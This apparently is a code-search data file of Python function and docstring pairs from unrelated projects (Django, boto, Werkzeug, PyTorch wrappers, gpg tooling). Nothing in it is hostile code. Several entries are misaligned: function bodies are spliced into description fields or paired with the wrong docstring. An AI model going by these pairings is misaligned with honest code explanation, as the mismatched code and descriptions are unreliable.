cleaned_data['name']domain_names.append(first)domain_names.extend(self.extra_names)for name in domain_names:parent = Domain.objects.get_parent(name)if not parent:# Fake an account to make django validation happyaccount_model = self.fields['account']._queryset.modelcleaned_data['account'] = account_model()raise ValidationError({'account': _(\"An account should be provided for top domain names.\"),})elif account and parent.account != account:# Fake an account to make django validation happyaccount_model = self.fields['account']._queryset.modelcleaned_data['account'] = account_model()raise ValidationError({'account': _(\"Provided domain names belong to different accounts.\"),})account = parent.accountcleaned_data['account'] = accountreturn cleaned_datadef full_clean(self):# set extra_names on instance to use it on inline formsets validationsuper().full_clean()self.instance.extra_names = extra_namesclass RecordForm(forms.ModelForm):class Meta:fields = ('ttl', 'type', 'value')def __init__(self, *args, **kwargs):super(RecordForm, self).__init__(*args, **kwargs)self.fields['ttl'].widget = forms.TextInput(attrs={'size': '10'})self.fields['value'].widget = forms.TextInput(attrs={'size': '100'})class ValidateZoneMixin(object):def clean(self): Checks if everything is consistent "} {"code": "def parse_section_entry_points(self, section_options):\n parsed = self._parse_section_to_dict(section_options, self._parse_list)\n self['entry_points'] = parsed\n", "nl": "Parses `entry_points` configuration file section.:param dict section_options:"} {"code": "def make_entry(self, label_text, var):\n label = Label(self.top, text=label_text)\n label.grid(row=self.row, column=0, sticky=\"nw\")\n entry = Entry(self.top, textvariable=var, exportselection=0)\n entry.grid(row=self.row, column=1, sticky=\"nwe\")\n self.row = self.row + 1\n return entry, label\n", "nl": "Return (entry, label), .entry - gridded labeled Entry for text entry.label - Label widget, returned for testing."} {"code": "def save_model_prediction_store_to_disk(path_to_store: str, model_cache: Dict[Tuple, Prediction]):\n os.makedirs(os.path.dirname(path_to_store), exist_ok=True)\n start = time.time()\n model_cache = {k: dataclasses.asdict(v) for k, v in model_cache.items()}\n with open(path_to_store, \"w\") as output_file:\n output_file.write(ujson.dumps(model_cache))\n end = time.time()\n logging.info(f\"saving {len(model_cache)} items to model prediction store on disk took {end-start}\")\n", "nl": "Convert a dict of model predictions to json and save to disk:param path_to_store: path to a predictions json:param model_cache: a mapping from store keys in the form (('text', element_text),) to Prediction dataclass objects(or classes inheriting from the Prediction dataclass)."} {"code": "def iter_encoded(self):\n if __debug__:\n _warn_if_string(self.response)\n return _iter_encoded(self.response, self.charset)\n", "nl": "Iter the response encoded with the encoding of the response.If the response object is invoked as WSGI application the returnvalue of this method is used as application iterator unless:attr:`direct_passthrough` was activated."} {"code": "def _predict(self, features: np.ndarray, **kwargs) -> np.ndarray:\n return self.model.predict(features, **kwargs)\n", "nl": "Predict the values given a set of inputs based on fitted models.Args:features (np.ndarray): array-like input features.Returns:List of output objects."} {"code": "def create_customer_gateway(self, type, ip_address, bgp_asn):\n params = {'Type' : type,\n 'IpAddress' : ip_address,\n 'BgpAsn' : bgp_asn}\n return self.get_object('CreateCustomerGateway', params, CustomerGateway)\n", "nl": "Create a new Customer Gateway:type type: str:param type: Type of VPN Connection. Only valid valid currently is 'ipsec.1':type ip_address: str:param ip_address: Internet-routable IP address for customer's gateway.Must be a static address.:type bgp_asn: str:param bgp_asn: Customer gateway's Border Gateway Protocol (BGP)Autonomous System Number (ASN):rtype: The newly created CustomerGateway:return: A :class:`boto.vpc.customergateway.CustomerGateway` object"} {"code": "def make_identity_dict(rng):\n res = {}\n for i in rng:\n res[i] = i\n\n return res\n\n", "nl": " make_identity_dict(rng) -> dictReturn a dictionary where elements of the rng sequence aremapped to themselves."} {"code": "def parse_shifts(self):\n\n lx_doc = self.html_doc()\n pl_heads = lx_doc.xpath('//td[contains(@class, \"playerHeading\")]')\n for pl in pl_heads:\n sh_sum = { }\n\n pl_text = pl.xpath('text()')[0]\n num_name = pl_text.replace(',','').split(' ')\n sh_sum['player_num'] = int(num_name[0]) if num_name[0].isdigit() else -1\n sh_sum['player_name'] = { 'first': num_name[2], 'last': num_name[1] }\n\n first_shift = pl.xpath('../following-sibling::tr')[1]\n sh_sum['shifts'], last_shift = self.__player_shifts(first_shift)\n\n while ('Per' not in last_shift.xpath('.//text()')):\n last_shift = last_shift.xpath('following-sibling::tr')[0]\n\n per_summ = last_shift.xpath('.//tr')[0]\n sh_sum['by_period'], last_sum = self.__get_by_per_summ(per_summ)\n\n\n self.by_player[sh_sum['player_num']] = sh_sum\n\n return self if self.by_player else None\n\n\nclass HomeTOIRep(TOIRepBase):\n \"\"\"Scrapes the home team TOI report\"\"\"", "nl": "Parse shifts from TOI report:returns: self if successfule else None"} {"code": "def random_seed():\n parser.addoption(\"--save\", nargs=\"?\", const=\"test_images\", help=\"Save images rendered by plot\")\n\n\n@pytest.fixture(scope=\"session\")", "nl": "Reset numpy random seed generator.np.random.seed(0)def pytest_addoption(parser):Definition for command line option to save figures from tests."} {"code": "def split_header_words(header_values):\n assert not isinstance(header_values, basestring)\n result = []\n for text in header_values:\n orig_text = text\n pairs = []\n while text:\n m = HEADER_TOKEN_RE.search(text)\n if m:\n text = unmatched(m)\n name = m.group(1)\n m = HEADER_QUOTED_VALUE_RE.search(text)\n if m:\n text = unmatched(m)\n value = m.group(1)\n value = HEADER_ESCAPE_RE.sub(r\"\\1\", value)\n else:\n m = HEADER_VALUE_RE.search(text)\n if m:\n text = unmatched(m)\n value = m.group(1)\n value = value.rstrip()\n else:\n value = None\n pairs.append((name, value))\n elif text.lstrip().startswith(\",\"):\n text = text.lstrip()[1:]\n if pairs: result.append(pairs)\n pairs = []\n else:\n non_junk, nr_junk_chars = re.subn(\"^[=\\s;]*\", \"\", text)\n assert nr_junk_chars > 0, (\n \"split_header_words bug: '%s', '%s', %s\" %\n (orig_text, text, pairs))\n text = non_junk\n if pairs: result.append(pairs)\n return result\n\nHEADER_JOIN_ESCAPE_RE = re.compile(r\"([\\\"\\\\])\")", "nl": "rParse header values into a list of lists containing key,value pairs.The function knows how to deal with \",\", \";\" and \"=\" as well as quotedvalues after \"=\". A list of space separated tokens are parsed as if theywere separated by \";\".If the header_values passed as argument contains multiple values, then theyare treated as if they were a single value separated by comma \",\".This means that this function is useful for parsing header fields thatfollow this syntax (BNF as from the HTTP/1.1 specification, but we relaxthe requirement for tokens).headers = #headerheader = (token | parameter) *( [\";\"] (token | parameter))token = 1*<any CHAR except CTLs or separators>separators = \"(\" | \")\" | \"<\" | \">\" | \"@\"| \",\" | \";\" | \":\" | \"\\\" | <\">| \"/\" | \"[\" | \"]\" | \"?\" | \"=\"| \"{\" | \"}\" | SP | HTquoted-string = ( <\"> *(qdtext | quoted-pair ) <\"> )qdtext = <any TEXT except <\">>quoted-pair = \"\\\" CHARparameter = attribute \"=\" valueattribute = tokenvalue = token | quoted-stringEach header is represented by a list of key/value pairs. The value for asimple token (not part of a parameter) is None. Syntactically incorrectheaders will not necessarily be parsed as you would want.This is easier to describe with some examples:>>> split_header_words(['foo=\"bar\"; port=\"80,81\"; discard, bar=baz'])[[('foo', 'bar'), ('port', '80,81'), ('discard', None)], [('bar', 'baz')]]>>> split_header_words(['text/html; charset=\"iso-8859-1\"'])[[('text/html', None), ('charset', 'iso-8859-1')]]>>> split_header_words([r'Basic realm=\"\\\"foo\\bar\\\"\"'])[[('Basic', None), ('realm', '\"foobar\"')]]"} {"code": "def taropen(cls, name, mode=\"r\", fileobj=None, **kwargs):\n if mode not in (\"r\", \"a\", \"w\"):\n raise ValueError(\"mode must be 'r', 'a' or 'w'\")\n return cls(name, mode, fileobj, **kwargs)\n\n @classmethod", "nl": "Open uncompressed tar archive name for reading or writing."} {"code": "def ensure_vxlan_bridge(self, network_id, segmentation_id, mtu):\n if phy_bridge_name:\n return self.ensure_bridge(phy_bridge_name)\n else:\n bridge_name = self.get_bridge_name(network_id)\n if self.ensure_bridge(bridge_name, physical_interface):\n return physical_interface\n", "nl": "Create a vxlan and bridge unless they already exist.interface = self.ensure_vxlan(segmentation_id, mtu)if not interface:LOG.error(\"Failed creating vxlan interface for \"\"%(segmentation_id)s\",{'segmentation_id': segmentation_id})returnbridge_name = self.get_bridge_name(network_id)self.ensure_bridge(bridge_name, interface, update_interface=False)return interfacedef get_interface_details(self, interface, ip_version):device = self.ip.device(interface)ips = device.addr.list(scope='global',ip_version=ip_version)# Update default gateway if necessarygateway = device.route.get_gateway(scope='global',ip_version=ip_version)return ips, gatewaydef ensure_flat_bridge(self, network_id, phy_bridge_name,physical_interface):Create a non-vlan bridge unless it already exists."} {"code": "def FirmwareUpgrade(self):\n\n dataCount = 2\n replyCount = 0\n result = False\n s_buffer = bytearray(MSG_HEADER_SIZE+MSG_CHECKSUM_SIZE+dataCount)\n r_buffer = bytearray(MSG_HEADER_SIZE+MSG_CHECKSUM_SIZE+replyCount)\n\n s_buffer[MSG_INDEX_COMMAND] = self.CMD_FIRMWARE\n s_buffer[MSG_INDEX_DATA] = 0xad\n s_buffer[MSG_INDEX_DATA+1] = 0xad\n s_buffer[MSG_INDEX_START] = MSG_START\n s_buffer[MSG_INDEX_FRAME] = self.device.frameID\n self.device.frameID = (self.device.frameID + 1) % 256\n s_buffer[MSG_INDEX_STATUS] = 0\n s_buffer[MSG_INDEX_COUNT_LOW] = (dataCount & 0xff)\n s_buffer[MSG_INDEX_COUNT_HIGH] = ((dataCount>>8) & 0xff)\n s_buffer[MSG_INDEX_DATA+dataCount] = 0xff - self.device.calcChecksum(s_buffer, MSG_INDEX_DATA+dataCount)\n self.device.sock.settimeout(.1)\n self.device.sendMessage(s_buffer)\n\n try:\n r_buffer = self.device.sock.recv(64)\n except socket.timeout:\n raise TimeoutError('FirmwareUpgrade: timout error.')\n return\n if len(r_buffer) == MSG_HEADER_SIZE + MSG_CHECKSUM_SIZE + replyCount:\n if r_buffer[MSG_INDEX_START] == s_buffer[0] and \\\n r_buffer[MSG_INDEX_COMMAND] == s_buffer[MSG_INDEX_COMMAND] | MSG_REPLY and \\\n r_buffer[MSG_INDEX_FRAME] == s_buffer[2] and \\\n r_buffer[MSG_INDEX_STATUS] == MSG_SUCCESS and \\\n r_buffer[MSG_INDEX_COUNT_LOW] == replyCount & 0xff and \\\n r_buffer[MSG_INDEX_COUNT_HIGH] == (replyCount >> 8) & 0xff and \\\n r_buffer[MSG_INDEX_DATA+replyCount] + self.device.calcChecksum(r_buffer,(MSG_HEADER_SIZE+replyCount)) == 0xff :\n result = True\n try:\n if (result == False):\n raise ResultError\n except ResultError:\n print('Error in firmwareUpgrade E-DIO24. Status =', hex(r_buffer[MSG_INDEX_STATUS]))\n\n\n", "nl": "This command causes the device to reset and enter the bootloaderfor a firmware upgrade. It erases a portion of the program memory sothe device must have firmware downloaded through the bootloder beforeit can be used again."} {"code": "def __iter__(self):\n if isinstance(other, Distribution):\n self.add(other)\n elif isinstance(other, Environment):\n for project in other:\n for dist in other[project]:\n self.add(dist)\n else:\n raise TypeError(\"Can't add %r to environment\" % (other,))\n return self\n", "nl": "Yield the unique project names of the available distributionsfor key in self._distmap.keys():if self[key]:yield keydef __iadd__(self, other):In-place addition of a distribution or environment"} {"code": "def parse_from_environ(self, environ):\n content_type = environ.get(\"CONTENT_TYPE\", \"\")\n content_length = get_content_length(environ)\n mimetype, options = parse_options_header(content_type)\n return self.parse(get_input_stream(environ), mimetype, content_length, options)\n", "nl": "Parses the information from the environment as form data.:param environ: the WSGI environment to be used for parsing.:return: A tuple in the form ``(stream, form, files)``."} {"code": "def test_in_place_list_replace_primitive():\n left = {\"a\": {}}\n right = {\"a\": True}\n with pytest.raises(DictMergeError):\n in_place_list_replace(left, right)\n\n", "nl": "Test the in_place_list_replace function, primitive case.left = {\"a\": True}right = {\"a\": \"b\"}in_place_list_replace(left, right)assert left == {\"a\": \"b\"}def test_in_place_list_replace_right_not_dict():Test the in_place_list_replace function, non-dict right."} {"code": "def normalizeTitle(title, lang=None):\n isUnicode = isinstance(title, str)\n stitle = title.split(', ')\n articlesDicts = linguistics.articlesDictsForLang(lang)\n if len(stitle) > 1 and stitle[-1].lower() in articlesDicts[isUnicode]:\n sep = ' '\n if stitle[-1][-1] in (\"'\", '-'):\n sep = ''\n _format = '%s%s%s'\n _joiner = ', '\n title = _format % (stitle[-1], sep, _joiner.join(stitle[:-1]))\n return title\n\n", "nl": "Return the title in the normal \"The Title\" format;beware that it doesn't handle long imdb titles, but only thetitle portion, without year[/imdbIndex] or special markup.The 'lang' argument can be used to specify the language of the title."} {"code": "def _parse_data(self, data, offset, size):\n return DictDotLookup(self.record)\n", "nl": "Returns a dict record from raw IAB record datafor line in data.split(\"\\n\"):line = line.strip()if not line:continueif '(hex)' in line:self.record['idx'] = self._valueself.record['org'] = line.split(None, 2)[2]self.record['iab'] = str(self)elif '(base 16)' in line:continueelse:self.record['address'].append(line)def registration(self):The IEEE registration details for this IAB"} {"code": "def get_layers(self):\n import torch.nn as nn\n\n result = []\n if isinstance(self._model, nn.Sequential):\n for name, module_ in self._model._modules.items():\n result.append(name + \"_\" + str(module_))\n\n elif isinstance(self._model, nn.Module):\n result.append(\"logit_layer\")\n\n else:\n raise TypeError(\n \"The input model must inherit from `nn.Module`.\"\n )\n\n return result\n\n self._model_wrapper = ModelWrapper\n\n return self._model_wrapper(model)\n\n except ImportError:\n raise ImportError('Could not find PyTorch (`torch`) installation.')", "nl": "Return the hidden layers in the model, if applicable.:return: The hidden layers in the model, input and output layers excluded.:rtype: `list`.. warning:: `get_layers` tries to infer the internal structure of the model.This feature comes with no guarantees on the correctness of the result.The intended order of the layers tries to match their order in the model, but thisis not guaranteed either. In addition, the function can only infer the internallayers if the input model is of type `nn.Sequential`, otherwise, it will onlyreturn the logit layer."} {"code": "def getKartDecalType( self ):\n return self.kartDNA[ KartDNA.decalType ]\n", "nl": "Purpose: The getKartDecalType Method obtains the decalaccessory of the kart by accessing the Kart DNA.Params: NoneReturn: decalType - the type of decal set for the kart."} {"code": "def set_tracking_branch(self, branch, remote_name, remote_branch=None):\n if remote_branch is None:\n remote_branch = branch\n if self.get_tracking_branch(branch) == \"%s/%s\" % (remote_name, remote_branch):\n return True\n if self.is_empty():\n return False\n if not self.branch_exists(branch):\n self.branch(branch)\n self.set_config(\"branch.%s.remote\" % branch, remote_name)\n self.set_config(\"branch.%s.merge\" % branch,\n \"refs/heads/%s\" % remote_branch)\n return True\n", "nl": "Update the configuration of a branch to track a given remote branch:param branch: the branch to set configuration for:param remote_name: the name of the remove ('origin' in most cases):param remote_branch: the name of the remote to track. If not givenwill be the same of the branch name"} {"code": "def _export_internal_results(self, irregular=None) -> (list, list, list):\n\t\tconfidence = _slice_sequence(self.population_size, self.confidences_[1:], irregular)\n\t\tfitness = _slice_sequence(self.population_size, self.fitness_[1:], irregular)\n\t\tsizes = _slice_sequence(self.population_size, self.sizes_[1:], irregular)\n\t\tbest_idx = [np.argmin(f) for f in fitness]\n\t\tfitness = [self.fitness_[0]] + [f[i] for f, i in zip(fitness, best_idx)]\n\t\tconfidence = [self.confidences_[0]] + [f[i] for f, i in zip(confidence, best_idx)]\n\t\tsizes = [self.sizes_[0]] + [f[i] for f, i in zip(sizes, best_idx)]\n\n\t\treturn confidence, fitness, sizes\n", "nl": "Exports the results of the attackParameters----------irregular : list, optional, default NoneSlices the internal resultsReturns-------"} {"code": "def freq(self):\n return self._freq\n\n @freq.setter", "nl": "Return the frequency object if it is set, otherwise None."} {"code": "def test_collect_objectives():\n statistics = Statistics()\n\n for objective in range(1, 100):\n statistics.collect_objective(objective)\n\n assert_equal(len(statistics.objectives), objective)\n assert_almost_equal(statistics.objectives[-1], objective)\n\n", "nl": "Tests if a Statistics object properly collects objective values."} {"code": "def covers(self, right: GeoSpatialValue) -> ir.BooleanValue:\n from ibis.expr import operations as ops\n\n op = ops.GeoCovers(self, right)\n return op.to_expr()\n", "nl": "Check if the first geometry covers the second one.Parameters----------rightRight geometryReturns-------BooleanValueWhether `self` covers `right`"} {"code": "def test_stop_single_container(docker_hello_world, docker_hello_world2, docker_services):\n res = docker_services._docker_compose.execute(\"ps\")\n assert 'hello' in res\n assert 'hello2' in res\n docker_services.stop(\"hello2\")\n res = docker_services._docker_compose.execute('ps', '--services', '--filter', 'status=running')\n assert 'hello2' not in res\n docker_services.start(\"hello2\")\n res = docker_services._docker_compose.execute('ps', '--services', '--filter', 'status=running')\n assert 'hello2' in res\n\n", "nl": "Test if only the requested containers are stope.The container for hello2 is started by the fixture and stopped via function."} {"code": "def post_rule(team_id):\n if not TeamPermission.is_manager_or_editor(team_id):\n abort(403)\n\n payload = get_payload()\n payload[\"team_id\"] = team_id\n rule = RuleController.create(payload)\n return jsonify(format_rule(rule)), 201\n\n\n@api.route(\n \"/teams/<team_id>/rules/<rule_id>\",\n methods=[\"PUT\"],\n request_schema=(\"v1_rule\", \"rule_update\"),\n)\n@login_required", "nl": "Add a new rule... :quickref: POST; Add a new rule.**Example request**:.. sourcecode:: httpPOST /v1/teams/66859c4a-3e0a-4968-a5a4-4c3b8662acb7/rules HTTP/1.1Host: example.comAccept: application/json{\"name\": \"Servers\",\"description\": \"Compute the QOS of our servers\"}**Example response**:.. sourcecode:: httpHTTP/1.1 201 CREATED{\"checks\": [],\"createdAt\": \"2018-05-17T12:01:09Z\",\"description\": \"Compute the QOS of our servers\",\"id\": \"ff130e9b-d226-4465-9612-a93e12799091\",\"name\": \"Servers\",\"updatedAt\": \"2018-11-09T15:33:06Z\"}:resheader Content-Type: application/json:status 201: the created rule"} {"code": "def write(self, data):\n if logger.isEnabledFor(logging.DEBUG):\n logger.debug('writing to %r:\\n%s', self, hexdump(data))\n self._output_list.append(data)\n\n @property", "nl": "Print any command sent in raw format.:param str data: Arbitrary code to be printed."} {"code": "def test_anonymous_user_update(self):\n for token in self.auth_providers:\n assert_raises(Forbidden,\n ensure_authorized_to, 'update', 'token', token=token)\n\n\n @with_context\n @patch('pybossa.auth.current_user', new=mock_anonymous)", "nl": "Test anonymous user is not allowed to update an oauth tokenfor token in self.auth_providers:assert_raises(Unauthorized,ensure_authorized_to, 'update', 'token', token=token)@with_context@patch('pybossa.auth.current_user', new=mock_authenticated)def test_authenticated_user_update(self):Test authenticated user is not allowed to update an oauth token"} {"code": "def freeNode(self):\n libxml2mod.xmlFreeNode(self._o)\n", "nl": "Free a node, this is a recursive behaviour, all thechildren are freed too. This doesn't unlink the child fromthe list, use xmlUnlinkNode() first. "} {"code": "def test_scan_line_error_wrong_product(self):\n move_line = self.picking2.move_line_ids[0]\n lot = (\n self.env[\"stock.production.lot\"]\n .sudo()\n .create(\n {\n \"name\": \"WRONGLOT\",\n \"product_id\": move_line.product_id.id,\n \"company_id\": self.env.company.id,\n }\n )\n )\n self._test_scan_line_nok(\n self.pickings,\n move_line.id,\n lot.name,\n {\"message_type\": \"error\", \"body\": \"Wrong lot.\"},\n )\n", "nl": "Wrong product scannedmove_line = self.picking2.move_line_ids[0]product = (self.env[\"product.product\"].sudo().create({\"name\": \"Wrong\",\"barcode\": \"WRONGPRODUCT\",}))self._test_scan_line_nok(self.pickings,move_line.id,product.barcode,{\"message_type\": \"error\", \"body\": \"Wrong product.\"},)def test_scan_line_error_wrong_lot(self):Wrong product scanned"} {"code": "def merge(self, other):\n if other is None:\n other = set()\n new = set()\n new.update(other)\n if self.action == 'ADD':\n new.update(self.values)\n elif other.issuperset(self.values):\n new.difference_update(self.values)\n else:\n raise KeyError(\"Cannot remove values that are not in the set!\")\n\n return new\n", "nl": "Merge the delta with a setParameters----------other : setThe original set to merge the changes with"} {"code": "def test_create_query_index_failure(self):\n with self.assertRaises(CloudantArgumentError) as cm:\n self.db.create_query_index(\n None,\n '_all_docs',\n 'special',\n fields=[{'_id': 'asc'}]\n )\n err = cm.exception\n self.assertEqual(\n str(err),\n 'Invalid index type: special. '\n 'Index type must be either \\\"json\\\" or \\\"text\\\".'\n )\n", "nl": "Tests that a type of something other than 'json' or 'text' will causefailure."} {"code": "def shape(self) -> Tuple[int, int]:\n return len(self), len(self._columns)\n\n @property", "nl": "Returns the number of rows and columns as a two-item tuple"} {"code": "def list_branches(filename, treename=None):\n return _librootnumpy.list_branches(filename, treename)\n\n", "nl": "Get a list of the branch names of a tree in a ROOT file.Parameters----------filename : strPath to ROOT file.treename : str, optional (default=None)Name of tree in the ROOT file.(optional if the ROOT file has only one tree).Returns-------branches : listList of branch names"} {"code": "def read_csv_to_html_list(csvFile):\n txt = ''\n with open(csvFile) as csv_file:\n for row in csv.reader(csv_file, delimiter=','):\n txt += '<div id=\"table_row\">'\n for col in row:\n txt += \" \"\n try:\n txt += col\n except Exception:\n txt += 'Error'\n txt += \" \"\n txt += \"</div>\\n\"\n return txt\n", "nl": "reads a CSV file and converts it to a HTML List"} {"code": "def listDevices(self, interface_id: str) -> list[dict[str, Any]]:\n central: hm_central.CentralUnit | None\n if (central := self._xml_rpc_server.get_central(interface_id)) is None:\n return []\n _LOGGER.debug(\"listDevices: interface_id = %s\", interface_id)\n\n return central.device_descriptions.get_raw_device_descriptions(\n interface_id=interface_id\n )\n", "nl": "The CCU / Homegear asks for devices known to our XML-RPC server.We respond to that request using this method."} {"code": "def close(self):\n if not self._port_handle: raise portNotOpenError\n return self._port_handle.BytesToRead\n", "nl": "Close portif self._isOpen:if self._port_handle:try:self._port_handle.Close()except System.IO.Ports.InvalidOperationException:# ignore errors. can happen for unplugged USB serial devicespassself._port_handle = Noneself._isOpen = Falsedef makeDeviceName(self, port):try:return device(port)except TypeError, e:raise SerialException(str(e))# - - - - - - - - - - - - - - - - - - - - - - - -def inWaiting(self):Return the number of characters currently in the input buffer."} {"code": "def build_space_tolerant_regex(linespec):\n\n backslash = \"\\x5c\"\n escaped_space = (backslash + backslash + \"s+\").translate(\"utf-8\")\n\n if isinstance(linespec, str):\n linespec = re.sub(r\"\\s+\", escaped_space, linespec)\n\n elif isinstance(linespec, (list, tuple,)):\n for idx, tmp in enumerate(linespec):\n assert isinstance(tmp, str)\n linespec[idx] = re.sub(r\"\\s+\", escaped_space, tmp)\n\n return linespec\n\n", "nl": "rSEMI-PRIVATE: Accept a string, and return a string with allspaces replaced with '\\s+'"} {"code": "def tf_mobilenetv3_large_100(pretrained=False, **kwargs):\n kwargs['bn_eps'] = BN_EPS_TF_DEFAULT\n kwargs['pad_type'] = 'same'\n model = _gen_mobilenet_v3('tf_mobilenetv3_large_minimal_100', 1.0, pretrained=pretrained, **kwargs)\n return model\n\n\n@register_model", "nl": " MobileNet V3 kwargs['bn_eps'] = BN_EPS_TF_DEFAULTkwargs['pad_type'] = 'same'model = _gen_mobilenet_v3('tf_mobilenetv3_large_100', 1.0, pretrained=pretrained, **kwargs)return model@register_modeldef tf_mobilenetv3_large_minimal_100(pretrained=False, **kwargs): MobileNet V3 "} {"code": "def isempty(self):\n if self.issymmetric:\n if self.is_single_matrix:\n return squareform(self.data)\n else:\n return [squareform(x.data) for x in self]\n else:\n if self.is_single_matrix:\n return self.data.reshape(\n int(np.sqrt(self.data.shape[0])), int(np.sqrt(self.data.shape[0]))\n )\n else:\n return [\n x.data.reshape(\n int(np.sqrt(x.data.shape[0])), int(np.sqrt(x.data.shape[0]))\n )\n for x in self\n ]\n", "nl": "Check if Adjacency object is emptyreturn bool(self.matrix_type == \"empty\")def squareform(self):Convert adjacency back to squareform"} {"code": "def normalize(self):\n if self.tz is None or timezones.is_utc(self.tz):\n not_null = ~self.isna()\n DAY_NS = ccalendar.DAY_SECONDS * 1_000_000_000\n new_values = self.asi8.copy()\n adjustment = new_values[not_null] % DAY_NS\n new_values[not_null] = new_values[not_null] - adjustment\n else:\n new_values = conversion.normalize_i8_timestamps(self.asi8, self.tz)\n return type(self)._from_sequence(new_values, freq=\"infer\").tz_localize(self.tz)\n", "nl": "Convert times to midnight.The time component of the date-time is converted to midnight i.e.00:00:00. This is useful in cases, when the time does not matter.Length is unaltered. The timezones are unaffected.This method is available on Series with datetime values underthe ``.dt`` accessor, and directly on Datetime Array/Index.Returns-------DatetimeArray, DatetimeIndex or SeriesThe same type as the original data. Series will have the samename and index. DatetimeIndex will have the same name.See Also--------floor : Floor the datetimes to the specified freq.ceil : Ceil the datetimes to the specified freq.round : Round the datetimes to the specified freq.Examples-------->>> idx = pd.date_range(start='2014-08-01 10:00', freq='H',... periods=3, tz='Asia/Calcutta')>>> idxDatetimeIndex(['2014-08-01 10:00:00+05:30','2014-08-01 11:00:00+05:30','2014-08-01 12:00:00+05:30'],dtype='datetime64[ns, Asia/Calcutta]', freq='H')>>> idx.normalize()DatetimeIndex(['2014-08-01 00:00:00+05:30','2014-08-01 00:00:00+05:30','2014-08-01 00:00:00+05:30'],dtype='datetime64[ns, Asia/Calcutta]', freq=None)"} {"code": "def face_count_maximum(self):\n return max([cell.n_faces() for cell in self.cells])\n", "nl": "Function to get the maximum face count of all cells.Parameters----------Returns-------output : floatMaximum."} {"code": "def findLine(self, text):\n\n Functionally identical to findText(). If a number is passed instead of a pattern,\n just waits the specified number of seconds.\n \"\"\"", "nl": " Finds the first line in the region that matches `text`. Can be a regex. search = TextOCR.find_line(self.getBitmap(), text)if search:bbox, conf = searchreturn Match(conf,Location(0,0),((bbox[0], bbox[1]), (bbox[2], bbox[3])))return Nonedef waitText(self, text, seconds=None): Searches for an image pattern in the given region, given a specified timeout period"} {"code": "def stat_tracking_remote(git, branch, tracking):\n _, local_ref = git.call(\"rev-parse\", \"HEAD\", raises=False)\n return stat_ahead_behind(git, local_ref, remote_ref)\n\n", "nl": " Check if branch is ahead and / or behind tracking. if branch is None or tracking is None:return 0, 0_, local_ref = git.call(\"rev-parse\", branch, raises=False)_, remote_ref = git.call(\"rev-parse\", tracking, raises=False)return stat_ahead_behind(git, local_ref, remote_ref)def stat_fixed_ref(git, remote_ref): Check is HEAD is and and / or behind given ref. "} {"code": "def safe_dump_all(documents, stream=None, **kwds):\n return dump_all(documents, stream, Dumper=SafeDumper, **kwds)\n", "nl": "Serialize a sequence of Python objects into a YAML stream.Produce only basic YAML tags.If stream is None, return the produced string instead."} {"code": "def get_domains(self):\n logger.info(\"Getting domains from SecureTrack\")\n try:\n response_string = self.get_uri(\"/securetrack/api/domains\", expected_status_codes=200).response.content\n except RequestException:\n message = \"Failed to get domains\"\n logger.critical(message)\n raise IOError(message)\n return Domains.from_xml_string(response_string)\n", "nl": "Get the list of domains from SecureTrack.:return: Available domains:rtype: Domains"} {"code": "def render_pep440_post(pieces):\n if pieces[\"closest-tag\"]:\n rendered = pieces[\"closest-tag\"]\n if pieces[\"distance\"] or pieces[\"dirty\"]:\n rendered += \".post%%d\" %% pieces[\"distance\"]\n if pieces[\"dirty\"]:\n rendered += \".dev0\"\n rendered += plus_or_dot(pieces)\n rendered += \"g%%s\" %% pieces[\"short\"]\n else:\n rendered = \"0.post%%d\" %% pieces[\"distance\"]\n if pieces[\"dirty\"]:\n rendered += \".dev0\"\n rendered += \"+g%%s\" %% pieces[\"short\"]\n return rendered\n\n", "nl": "TAG[.postDISTANCE[.dev0]+gHEX] .The \".dev0\" means dirty. Note that .dev0 sorts backwards(a dirty tree will appear \"older\" than the corresponding clean one),but you shouldn't be releasing software with -dirty anyways.Exceptions:1: no tags. 0.postDISTANCE[.dev0]"} {"code": "def build_spherical_shell(bottom, top, shape=(6, 12)):\n region = (-180, 180, -90, 90)\n n_lat, n_lon = shape[:]\n longitude = np.linspace(*region[:2], n_lon + 1, dtype=\"float64\")\n latitude = np.linspace(*region[2:], n_lat + 1, dtype=\"float64\")\n west, east = longitude[:-1], longitude[1:]\n south, north = latitude[:-1], latitude[1:]\n tesseroids = []\n for w, e in zip(west, east):\n for s, n in zip(south, north):\n tesseroids.append([w, e, s, n, bottom, top])\n return tesseroids\n\n\n@run_only_with_numba\n@pytest.mark.parametrize(\"field\", (\"potential\", \"g_z\"))\n@pytest.mark.parametrize(\"thickness\", (1e2, 1e3, 1e6))", "nl": "Return a set of tesseroids modelling a spherical shellParameters----------bottom : floatInner radius of the spherical shelltop : floatOuter radius of the spherical shellshape : tuple (n_latitude, n_longitude)Number of tesseroids used along each dimension."} {"code": "def medtest(alpha, md, axis=None):\n\n md = np.atleast_1d(md)\n\n n = alpha.shape[axis] if axis is not None else len(alpha)\n\n d = descriptive.cdiff(alpha, md)\n\n n1 = np.atleast_1d(np.sum(d < 0, axis=axis))\n n2 = np.atleast_1d(np.sum(d > 0, axis=axis))\n\n n_min = np.array(n1)\n n_min[n1 > n2] = n2[n1 > n2]\n\n n_max = np.array(n1)\n n_max[n1 < n2] = n2[n1 < n2]\n return stats.binom.cdf(n_min, n, 0.5) + 1 - stats.binom.cdf(n_max - 1, n, 0.5)\n\n\n@nottest", "nl": "Tests for difference in the median against a fixed value.H0: the population has median angle mdHA: the population has not median angle md:param alpha: sample of angles in radians:param md: median to test for:param axis: test is performed along this axis:returns: p-value"} {"code": "def psql_update_documents_batch():\n affected_rows = 0\n while Company.objects.filter(document__isnull=True).exists():\n with connection.cursor() as cursor:\n with transaction.atomic():\n for row in Company.objects.filter(document__isnull=True)[:1000]:\n row.document = SearchVector(\"name\")\n row.save()\n affected_rows += cursor.rowcount\n\n logger.info(\"Updated {} borme_company records\"\n .format(cursor.rowcount))\n\n while Person.objects.filter(document__isnull=True).exists():\n with connection.cursor() as cursor:\n with transaction.atomic():\n for row in Person.objects.filter(document__isnull=True)[:1000]:\n row.document = SearchVector(\"name\")\n row.save()\n affected_rows += cursor.rowcount\n\n logger.info(\"Updated {} borme_company records\"\n .format(cursor.rowcount))\n\n return affected_rows", "nl": "Same as psql_update_documents() but using atomic batches.This way, the table is not locked for a long time when the update is big"} {"code": "def cleanup(self):\n PiusUtil.debug(\"extracting all keyids from keyring\")\n cmd = (\n [self.gpg]\n + GPG_BASE_OPTS\n + [\n \"--keyring\",\n self.keyring,\n \"--no-options\",\n \"--with-colons\",\n \"--fingerprint\",\n \"--fixed-list-mode\",\n ]\n )\n PiusUtil.logcmd(cmd)\n gpg = subprocess.Popen(\n 